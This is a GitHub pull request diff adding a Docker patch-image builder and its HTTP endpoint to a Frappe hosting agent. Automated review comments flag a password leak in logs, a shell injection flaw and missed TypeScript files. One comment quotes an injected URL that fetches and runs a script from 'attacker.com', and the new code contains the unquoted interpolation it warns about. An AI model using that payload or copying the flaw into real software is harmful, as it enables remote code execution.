Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
158 changes: 158 additions & 0 deletions agent/builder.py
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
from __future__ import annotations

import contextlib
import os
import shlex
import shutil
Expand Down Expand Up @@ -42,6 +43,12 @@ class AppInfo(TypedDict):
branch: str


class PatchBuildAppInfo(TypedDict):
app: str
url: str
hash: str


class CloneError(AgentException):
pass

Expand Down Expand Up @@ -760,6 +767,157 @@ def _cleanup_context(self, context_tar_filepath: str):
return {"cleanup": True}


class PatchImageBuilder(Base, JobMixin):
def __init__(
self,
base_image: str,
image_repository: str,
image_tag: str,
no_push: bool,
registry: dict,
patch_build_app_instructions: List[PatchBuildAppInfo],
build_name: str,
) -> None:
super().__init__()
self._job_context = JobContext()
self.base_image = base_image
self.image_repository = image_repository
self.image_tag = image_tag
self.no_push = no_push
self.registry = registry
self.patch_build_app_instructions = patch_build_app_instructions
self.container_name = f"patch-build-{build_name}"
self.output: Output = {"build": [], "push": []}
self.last_published = datetime.now()

def _get_image_name(self) -> str:
return f"{self.image_repository}:{self.image_tag}"

@job("Run Patch Build")
def run_patch_build(self):
try:
self._start_base_container()
self._pull_app_updates()
self._commit_patch_image()
if not self.no_push:
self._push_patch_image()
finally:
self._cleanup_container()
return self.data

@step("Start Base Container")
def _start_base_container(self):
"""Docker login and pull base image"""
self.execute(
f"docker login "
f"-u {self.registry['username']} "
f"-p {self.registry['password']} "
f"{self.registry['url']}"
)
Comment on lines +811 to +816
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Registry password stored in step logs via command field

Base.execute() calls get_execution_result(command, …) which stores the full command string in self.data["command"], then immediately calls self.log() — persisting the command (including the plaintext password) in the step record. This is different from ImageBuilder._push_docker_image(), which uses the Docker SDK (docker.from_env()) and never puts credentials on a command line. Passing the password via --password-stdin avoids the leak.

Suggested change
self.execute(
f"docker login "
f"-u {self.registry['username']} "
f"-p {self.registry['password']} "
f"{self.registry['url']}"
)
self.execute(
f"echo {shlex.quote(self.registry['password'])} | "
f"docker login --username {shlex.quote(self.registry['username'])} "
f"--password-stdin "
f"{shlex.quote(self.registry['url'])}"
)

self.execute(f"docker pull {self.base_image}")
self.execute(f"docker run -d --name {self.container_name} {self.base_image} tail -f /dev/null")

@step("Pull App Updates")
def _pull_app_updates(self):
for patch_build_app_info in self.patch_build_app_instructions:
self._pull_app(patch_build_app_info)
self._publish_throttled_output(True)
return self.output["build"]

def _pull_app(self, patch_build_app_info: PatchBuildAppInfo):
app = patch_build_app_info["app"]
url = patch_build_app_info["url"]
new_hash = patch_build_app_info["hash"]
app_path = f"/home/frappe/frappe-bench/apps/{app}"
old_hash = self._docker_exec(f"git -C {app_path} rev-parse HEAD", publish=False).strip()
self._docker_exec(f"git -C {app_path} fetch --depth 1 {url} {new_hash}")
self._docker_exec(f"git -C {app_path} reset --hard HEAD")
self._docker_exec(f"git -C {app_path} clean -fd")
self._docker_exec(f"git -C {app_path} checkout {new_hash}")

if self._has_dependency_changes(app_path, old_hash, new_hash):
self._reinstall_app_deps(app)

if self._has_ui_changes(app_path, old_hash, new_hash):
self._bench_build_app(app)
Comment on lines +821 to +842
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Shell injection via unquoted user-supplied values in bash -c

_docker_exec wraps the entire command in shlex.quote() before the outer shell sees it, but that quoted string is still handed verbatim to bash -c, so any shell metacharacter in url, new_hash, or app (which all come from the request body) is executed by bash inside the container. A url value of https://x.git && curl attacker.com|sh would produce bash -c 'git -C … fetch … https://x.git && curl attacker.com|sh …' and the injected command runs. The same problem exists in _has_ui_changes, _has_dependency_changes, _reinstall_app_deps, and _bench_build_app. Every user-controlled variable interpolated into these command strings must be wrapped with shlex.quote() before being embedded.


def _has_ui_changes(self, app_path, old_hash, new_hash) -> bool:
"""If the two commits have UI changes"""
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx'",
publish=False,
)
Comment on lines +846 to +849
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 TypeScript files excluded from UI change detection

_has_ui_changes only watches *.vue, *.js, and *.jsx. Modern Frappe apps commonly use *.ts and *.tsx (e.g. desk, hrms). A commit that touches only TypeScript files passes this check as False, skipping bench build and leaving stale compiled assets in the image.

Suggested change
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx'",
publish=False,
)
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- '*.vue' '*.js' '*.jsx' '*.ts' '*.tsx'",
publish=False,
)

return bool(out.strip())

def _has_dependency_changes(self, app_path, old_hash, new_hash) -> bool:
"""If the two commits have python dependency changes"""
out = self._docker_exec(
f"git -C {app_path} diff --name-only {old_hash} {new_hash} -- requirements.txt pyproject.toml",
publish=False,
)
return bool(out.strip())

def _reinstall_app_deps(self, app):
pip = "/home/frappe/frappe-bench/env/bin/python -m pip"
self._docker_exec(f"{pip} install -e /home/frappe/frappe-bench/apps/{app}")

def _bench_build_app(self, app):
self._docker_exec(f"cd /home/frappe/frappe-bench && bench build --app {app} --hard-link")

def _docker_exec(self, command: str, publish: bool = True) -> str:
"""Execute a command inside the running container and return the output"""
result = self.execute(f"docker exec {self.container_name} bash -c {shlex.quote(command)}")
output = result.get("output", "") if isinstance(result, dict) else ""
if publish:
self.output["build"].append(output)
self._publish_throttled_output(False)
return output

def _publish_throttled_output(self, flush: bool) -> None:
if flush:
self.publish_data(self.output)
return

now = datetime.now()
if (now - self.last_published).total_seconds() <= 1:
return

self.last_published = now
self.publish_data(self.output)

@step("Commit Image")
def _commit_patch_image(self):
self.execute(
f"docker commit --change='CMD [\"supervisord\"]' {self.container_name} {self._get_image_name()}"
)

@step("Push Docker Image")
def _push_patch_image(self):
environment = os.environ.copy()
client = docker.from_env(environment=environment, timeout=5 * 60)
auth_config = {
"username": self.registry["username"],
"password": self.registry["password"],
"serveraddress": self.registry["url"],
}
for line in client.images.push(
self.image_repository,
self.image_tag,
stream=True,
decode=True,
auth_config=auth_config,
):
self.output["push"].append(line)
self._publish_throttled_output(False)

self._publish_throttled_output(True)
return self.output["push"]

def _cleanup_container(self):
with contextlib.suppress(Exception):
self.execute(f"docker rm -f {self.container_name}")


def get_clone_directory():
path = os.path.join(os.getcwd(), ".clones")
if not os.path.exists(path):
Expand Down
18 changes: 17 additions & 1 deletion agent/web.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
from rq.job import JobStatus

from agent.base import AgentException
from agent.builder import ImageBuilder
from agent.builder import ImageBuilder, PatchImageBuilder
from agent.database import JSONEncoderForSQLQueryResult
from agent.database_physical_backup import DatabasePhysicalBackup
from agent.database_physical_restore import DatabasePhysicalRestore
Expand Down Expand Up @@ -207,6 +207,22 @@ def build_image():
return {"job": job}


@application.route("/builder/patch_build", methods=["POST"])
def patch_build_image():
data = request.json
builder = PatchImageBuilder(
base_image=data.get("base_image"),
image_repository=data.get("image_repository"),
image_tag=data.get("image_tag"),
no_push=data.get("no_push", False),
registry=data.get("registry"),
patch_build_app_instructions=data.get("patch_build_app_instructions"),
build_name=data.get("deploy_candidate_build"),
)
job = builder.run_patch_build()
return {"job": job}


@application.route("/server")
def get_server():
return Server().dump()
Expand Down
Loading